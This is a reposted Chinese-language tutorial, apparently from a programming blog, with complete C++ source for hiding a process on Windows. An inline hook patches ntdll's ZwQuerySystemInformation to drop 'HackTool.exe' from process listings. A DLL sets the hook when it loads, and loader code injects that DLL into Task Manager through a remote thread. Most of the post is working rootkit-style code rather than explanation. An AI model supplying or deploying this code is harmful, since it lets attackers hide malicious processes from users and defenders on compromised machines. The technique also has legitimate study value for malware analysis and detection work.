HOOK函數ZwQuerySystemInformation實現進程隱藏


實現原理:

  由於遍歷進程通常是通過調用WIN32 API函數 EnumProcesses 或是CreateToolhelp32Snapshot 等來實現的。

  通過跟蹤逆向這些WIN32 API函數可知,它們內部最終是通過調用ZwQuerySystemInformation函數來檢索系

  統進程信息的,從而實現進程遍歷操作。所以,程序只需要HOOK ZwQuerySystemInformation這一個函數就

  足夠了。在ZwQuerySystem Information函數的內部判斷檢索的信息是否是進程信息,若是,則對返回的進程

  信息進行修改,將隱藏的進程信息從中去掉再返回。因此只要是通過調用ZwQuerySystemInformation來檢索

  系統進程的,獲取到的數據均是被篡改的,自然獲取不到隱藏進程的信息,這樣,指定進程就被隱藏起來了。

  

代碼:

//CHideProcess.h

#pragma once

#include <windows.h>
#include <winternl.h>

void OnInlineHook();

void UnInlineHook();

NTSTATUS WINAPI MyZwQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);
//CHideProcess.cpp

#include "pch.h"
#include "CHideProcess.h"

typedef NTSTATUS(WINAPI* typedef_ZwQuerySystemInformation)(
    _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Inout_   PVOID                     SystemInformation,
    _In_      ULONG                      SystemInformationLength,
    _Out_opt_ PULONG                   ReturnLength);

char g_oldcode64_ZwQ[12] = { 0 };
char g_oldcode32_ZwQ[5] = { 0 };


// 開啟InlineHook
void OnInlineHook()
{
    // 1.獲取函數地址
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
        (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");

    // 32位修改5個字節,64位修改12個字節
#ifndef _WIN64
    // jmp New_ZwQuerySystemInformation
    // 機器碼位:e9 _dwOffset(跳轉偏移)
    //          addr1 --> jmp _dwNewAddress指令的下一條指令的地址,即eip的值
    //          addr2 --> 跳轉地址的值,即_dwNewAddress的值
    //          跳轉偏移 _dwOffset = addr2 - addr1
    BYTE g_newcode[5] = { 0xE9 };
    // 2. 保存原始指令5個字節
    memcpy(g_oldcode32_ZwQ, ZwQuerySystemInformation, 5);

    // 3. 計算跳轉偏移,構建跳轉 newcode[5]
    // 跳轉偏移  = 目標地址 - 指令所在- 指令長度
    DWORD dwOffset = (DWORD)MyZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
    *(DWORD*)(g_newcode + 1) = dwOffset;
#else
    // mov rax,0x1122334455667788
    // jmp rax
    // 機器碼是:
    //      48 b8 8877665544332211
    //      ff e0
    BYTE g_newcode[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    // 2. 保存原始指令12個字節
    memcpy(g_oldcode64_ZwQ, ZwQuerySystemInformation, 12);
    // 3. 構建跳轉 newcode[12]
    ULONGLONG dwOffset = (ULONGLONG)MyZwQuerySystemInformation;
    *(ULONGLONG*)(g_newcode + 2) = dwOffset;
#endif // !_WIN64

    // 4. 寫入跳轉偏移
    // 修改目標頁屬性
    DWORD dwOldProtect;
    VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 修改MessageBoxW指令前5個字節
    memcpy(ZwQuerySystemInformation, g_newcode, sizeof(g_newcode));
    // 恢復頁屬性
    VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), dwOldProtect, &dwOldProtect);
}


// 關閉InlineHook
void UnInlineHook()
{
    // 還原MessageBoxW前5個字節
    // 1.獲取函數地址
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
        (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");

    // 2.還原指令前5字節
    // 修改目標頁屬性
    DWORD dwOldProtect;
    VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 32位下還原前5字節,64位下還原前12字節
#ifndef _WIN64
    // 修改函數指令前5個字節
    memcpy(ZwQuerySystemInformation, g_oldcode32_ZwQ, 5);
#else
    // 修改函數指令前12個字節
    memcpy(ZwQuerySystemInformation, g_oldcode64_ZwQ, 12);
#endif  // !_WIN64

    // 恢復頁屬性
    VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}

// hook后的新代碼
//特別注意要加上調用方式 WINAPI
NTSTATUS WINAPI MyZwQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
)
{
    NTSTATUS status = 0;

    PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;

    // 要隱藏的進程名
    wchar_t dwHideProcessName[MAX_PATH] = L"HackTool.exe";

    // 卸載鈎子
    UnInlineHook();

    // 1.獲取函數地址
    HMODULE hModule = LoadLibraryA("ntdll.dll");
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
        (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");
    if (NULL == ZwQuerySystemInformation)
    {
        return status;
    }
    // 調用原函數 ZwQuerySystemInformation
    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
        SystemInformationLength, ReturnLength);
    //  如果是檢索系統的進程信息並且調用原函數成功
    if (NT_SUCCESS(status) && 5 == SystemInformationClass)
    {
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
        while (TRUE)
        {
            // 判斷是否是要隱藏的進程PID
            // 如果是要隱藏的進程PID
            if (lstrcmp(pCur->ImageName.Buffer, dwHideProcessName) == 0)
            {
                if (0 == pCur->NextEntryOffset)
                {
                    //當我們需要隱藏的進程是最后一個數據時
                    //就將上一個數據結構的NextEntryOffset置0
                    //這時系統在遍歷我們進程時就不會發現了
                    pPrev->NextEntryOffset = 0;
                }
                else
                {
                    //當我們需要隱藏的進程 后面還有進程時
                    //越過要隱藏的進程讓 NextEntryOffset 
                    //指向下一個數據塊
                    pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
                }
                //多個PID比較時,這里千萬要去掉
                break;
            }

            if (0 == pCur->NextEntryOffset)
            {
                break;
            }
            pPrev = pCur;
            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
        }
    }

    //設置鈎子
    OnInlineHook();

    return status;
}
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include "CHideProcess.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        OnInlineHook();
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    {
        UnInlineHook();
        break;
    }
        break;
    }
    return TRUE;
}
    //獲取當前程序所在路徑
    char pszFileName[MAX_PATH] = { 0 };
    GetModuleFileName(NULL, pszFileName, MAX_PATH);

    //要注入的進程名(任務管理器 win7 32位taskmgr.exe  win10 64位Taskmgr.exe)
#ifndef _WIN64
    char pszProcseeName[MAX_PATH] = "taskmgr.exe";
#else
    char pszProcseeName[MAX_PATH] = "Taskmgr.exe";
#endif

    //根據進程名獲取進程PID
    DWORD nPid = GetProcessIdByProcessName(pszProcseeName);
    if (nPid != 0)
    {
        //獲取當前程序所在目錄
        (strrchr(pszFileName, '\\'))[0] = 0;
        //拼接要注入dll路徑
        char pszDllName[MAX_PATH] = { 0 };
        sprintf_s(pszDllName, "%s\\%s", pszFileName, "Hook_taskmgr.dll");
        //遠程線程注入DLL
        CreateRemoteThreadInjectDll(nPid, pszDllName);
    }

通過進程名獲取進程PID鏈接:根據進程名獲取進程PID

遠程線程注入鏈接:遠程線程注入

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM